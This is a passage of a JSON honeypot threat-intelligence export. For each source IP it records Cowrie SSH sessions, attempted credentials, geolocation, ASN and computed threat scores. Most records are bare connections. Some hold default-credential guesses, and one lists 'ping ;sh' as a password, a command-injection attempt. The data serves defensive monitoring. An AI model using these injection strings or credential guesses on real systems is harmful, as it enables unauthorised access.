      "usernames_attempted": [
        "enable",
        "linuxshell",
        "manager",
        "shell"
      ],
      "passwords_attempted": [
        "manager",
        "ping ;sh",
        "sh",
        "system"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Chon Buri",
      "asn": 133481,
      "as_org": "AIS Fibre",
      "threat_score": 2.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T02:46:29.498000+00:00",
        "last_seen_30d": "2026-04-01T02:47:44.574000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 1
      }
    },
    "135.119.104.245": {
      "attack_count": 5,
      "first_seen": "2026-04-12T10:25:59.599Z",
      "last_seen": "2026-04-12T10:26:09.951Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 62.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.0,
        "persistence": 21.7,
        "diversity": 12,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 26,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-05T15:23:36.410000+00:00",
        "last_seen_30d": "2026-04-30T10:42:22.117000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 18,
        "Cowrie": 5,
        "Honeytrap": 2
      }
    },
    "222.128.55.82": {
      "attack_count": 5,
      "first_seen": "2026-04-27T17:28:29.392Z",
      "last_seen": "2026-04-27T17:28:32.089Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "test"
      ],
      "passwords_attempted": [
        "root@12345"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 4808,
      "as_org": "China Unicom Beijing Province Network",
      "threat_score": 19.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T17:28:29.392000+00:00",
        "last_seen_30d": "2026-04-27T17:29:35.930000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "91.231.89.183": {
      "attack_count": 5,
      "first_seen": "2026-04-18T00:12:56.972Z",
      "last_seen": "2026-04-18T00:13:00.614Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 72.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.1,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 81,
        "days_active_30d": 28,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T02:41:46+00:00",
        "last_seen_30d": "2026-04-28T01:49:09.873000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 48,
        "Honeytrap": 28,
        "Cowrie": 5
      }
    },
    "117.50.213.159": {
      "attack_count": 4,
      "first_seen": "2026-04-16T12:03:12.049Z",
      "last_seen": "2026-04-16T12:05:12.677Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4808,
      "as_org": "China Unicom Beijing Province Network",
      "threat_score": 11.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T12:03:12.049000+00:00",
        "last_seen_30d": "2026-04-16T12:06:15.175000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 4
      }
    },
    "124.103.51.248": {
      "attack_count": 4,
      "first_seen": "2026-04-10T16:18:46.150Z",
      "last_seen": "2026-04-18T05:03:42.253Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Hiroshima",
      "asn": 4713,
      "as_org": "NTT DOCOMO BUSINESS,Inc.",
      "threat_score": 16.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T16:18:46.150000+00:00",
        "last_seen_30d": "2026-04-18T05:04:48.921000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "144.31.220.105": {
      "attack_count": 4,
      "first_seen": "2026-04-10T14:43:24.615Z",
      "last_seen": "2026-04-10T19:00:15.314Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 216039,
      "as_org": "EdgeSec Technologies Limited",
      "threat_score": 8.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T14:41:58.285000+00:00",
        "last_seen_30d": "2026-04-10T19:01:24.449000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Suricata": 10,
        "Cowrie": 4
      }
    },
    "147.185.132.159": {
      "attack_count": 4,
      "first_seen": "2026-04-08T16:22:18.512Z",
      "last_seen": "2026-04-30T21:53:42.453Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 91.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 128,
        "days_active_30d": 30,
        "ports_targeted_30d": 32,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T08:08:45.371000+00:00",
        "last_seen_30d": "2026-04-30T23:34:47.782000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 78,
        "Honeytrap": 26,
        "ConPot": 19,
        "Cowrie": 4,
        "Dionaea": 1
      }
    },
    "191.6.251.6": {
      "attack_count": 4,
      "first_seen": "2026-04-26T19:30:33.684Z",
      "last_seen": "2026-04-26T19:34:36.343Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Bicas",
      "asn": 263302,
      "as_org": "TORPEDOLINK TELECOM",
      "threat_score": 18.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T19:30:33.684000+00:00",
        "last_seen_30d": "2026-04-26T19:35:46.454000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "198.235.24.81": {
      "attack_count": 4,
      "first_seen": "2026-04-11T10:22:34.504Z",
      "last_seen": "2026-04-11T10:22:38.059Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 85.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.6,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 92,
        "days_active_30d": 29,
        "ports_targeted_30d": 27,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T09:33:55.296000+00:00",
        "last_seen_30d": "2026-04-29T16:59:05.343000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 61,
        "Honeytrap": 25,
        "Cowrie": 4,
        "Dionaea": 1,
        "Honeyaml": 1
      }
    },
    "205.210.31.106": {
      "attack_count": 4,
      "first_seen": "2026-04-21T10:42:01.623Z",
      "last_seen": "2026-04-21T10:42:05.156Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 77.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.6,
        "persistence": 20.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 116,
        "days_active_30d": 25,
        "ports_targeted_30d": 27,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-03T17:15:21.127000+00:00",
        "last_seen_30d": "2026-04-27T05:25:17.866000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 70,
        "Honeytrap": 20,
        "ConPot": 19,
        "Cowrie": 4,
        "Dionaea": 2,
        "ElasticPot": 1
      }
    },
    "43.165.186.119": {
      "attack_count": 4,
      "first_seen": "2026-04-22T02:28:42.042Z",
      "last_seen": "2026-04-22T02:28:50.043Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 15.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-22T02:28:42.042000+00:00",
        "last_seen_30d": "2026-04-22T02:29:56.191000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "130.49.185.71": {
      "attack_count": 3,
      "first_seen": "2026-04-22T17:16:36.613Z",
      "last_seen": "2026-04-22T17:17:37.645Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 199884,
      "as_org": "Racktech Co., Ltd.",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-22T17:16:36.613000+00:00",
        "last_seen_30d": "2026-04-22T17:18:38.709000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "141.98.234.187": {
      "attack_count": 3,
      "first_seen": "2026-04-10T17:36:37.725Z",
      "last_seen": "2026-04-10T17:37:38.991Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.success",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 215540,
      "as_org": "Global Connectivity Solutions Llp",
      "threat_score": 10.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 2.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 3,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-08T21:42:47+00:00",
        "last_seen_30d": "2026-04-10T17:38:40.809000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6,
        "Cowrie": 3,
        "Honeytrap": 1
      }
    },
    "176.65.139.27": {
      "attack_count": 3,
      "first_seen": "2026-04-23T06:22:04.628Z",
      "last_seen": "2026-04-23T06:24:04.693Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Luxembourg",
      "country_code": "LU",
      "city": null,
      "asn": 214472,
      "as_org": "Offshore LC",
      "threat_score": 54.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.7,
        "persistence": 20.0,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 186,
        "days_active_30d": 24,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T05:02:32.009000+00:00",
        "last_seen_30d": "2026-04-24T06:43:30.650000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 142,
        "Honeyaml": 41,
        "Cowrie": 3
      }
    },
    "36.106.166.210": {
      "attack_count": 3,
      "first_seen": "2026-04-08T00:50:37.251Z",
      "last_seen": "2026-04-08T00:50:37.253Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Tianjin",
      "asn": 17638,
      "as_org": "ASN for TIANJIN Provincial Net of CT",
      "threat_score": 49.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 11.5,
        "persistence": 20.0,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 24,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-04T18:12:21+00:00",
        "last_seen_30d": "2026-04-27T17:54:51.868000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Cowrie": 3,
        "Honeytrap": 3
      }
    },
    "43.128.93.40": {
      "attack_count": 3,
      "first_seen": "2026-04-11T20:51:11.718Z",
      "last_seen": "2026-04-11T20:52:45.121Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 7.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T20:51:11.718000+00:00",
        "last_seen_30d": "2026-04-11T20:53:46.191000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "47.76.49.98": {
      "attack_count": 3,
      "first_seen": "2026-04-23T02:31:32.951Z",
      "last_seen": "2026-04-23T02:31:35.728Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T02:31:32.951000+00:00",
        "last_seen_30d": "2026-04-23T02:32:38.882000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 3
      }
    },
    "103.50.21.112": {
      "attack_count": 2,
      "first_seen": "2026-04-29T15:04:41.106Z",
      "last_seen": "2026-04-29T15:04:54.656Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Udupi",
      "asn": 141329,
      "as_org": "Udupi Fastnet Private Limited",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T15:04:41.106000+00:00",
        "last_seen_30d": "2026-04-29T15:05:56.961000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "113.155.22.210": {
      "attack_count": 2,
      "first_seen": "2026-04-04T13:50:55.564Z",
      "last_seen": "2026-04-04T13:51:08.596Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Nagoya",
      "asn": 18126,
      "as_org": "Chubu Telecommunications Company, Inc.",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T13:50:55.564000+00:00",
        "last_seen_30d": "2026-04-04T13:52:10.839000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "121.40.128.125": {
      "attack_count": 2,
      "first_seen": "2026-04-17T19:22:57.758Z",
      "last_seen": "2026-04-17T19:23:28.161Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 10.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T19:22:57.758000+00:00",
        "last_seen_30d": "2026-04-17T19:24:36.888000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "125.229.182.63": {
      "attack_count": 2,
      "first_seen": "2026-04-02T21:34:41.658Z",
      "last_seen": "2026-04-02T21:35:12.219Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Zhongli District",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T21:34:41.658000+00:00",
        "last_seen_30d": "2026-04-02T21:36:14.500000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "131.221.236.23": {
      "attack_count": 2,
      "first_seen": "2026-04-20T03:38:48.607Z",
      "last_seen": "2026-04-20T03:39:00.965Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Ouricuri",
      "asn": 264439,
      "as_org": "OuriNet TELECOM",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-20T03:38:48.607000+00:00",
        "last_seen_30d": "2026-04-20T03:40:08.289000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "14.6.22.28": {
      "attack_count": 2,
      "first_seen": "2026-04-01T21:14:08.169Z",
      "last_seen": "2026-04-01T21:14:21.765Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Ansan-si",
      "asn": 17858,
      "as_org": "LG POWERCOMM",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T21:14:08.169000+00:00",
        "last_seen_30d": "2026-04-01T21:15:28.207000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "152.59.84.95": {
      "attack_count": 2,
      "first_seen": "2026-04-29T05:51:08.153Z",
      "last_seen": "2026-04-29T05:53:08.157Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Chandigarh",
      "asn": 55836,
      "as_org": "Reliance Jio Infocomm Limited",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T05:51:08.153000+00:00",
        "last_seen_30d": "2026-04-29T06:03:55.094000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "175.107.228.160": {
      "attack_count": 2,
      "first_seen": "2026-04-21T23:57:44.218Z",
      "last_seen": "2026-04-21T23:57:56.716Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T23:57:44.218000+00:00",
        "last_seen_30d": "2026-04-21T23:58:59.908000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "182.69.181.55": {
      "attack_count": 2,
      "first_seen": "2026-04-30T01:23:08.827Z",
      "last_seen": "2026-04-30T01:23:21.801Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "New Delhi",
      "asn": 24560,
      "as_org": "Bharti Airtel Ltd., Telemedia Services",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T01:23:08.827000+00:00",
        "last_seen_30d": "2026-04-30T01:24:27.460000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "195.245.119.227": {
      "attack_count": 2,
      "first_seen": "2026-04-27T16:51:33.628Z",
      "last_seen": "2026-04-27T16:53:33.705Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Odesa",
      "asn": 34187,
      "as_org": "LLC Renome-Service",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T16:51:33.628000+00:00",
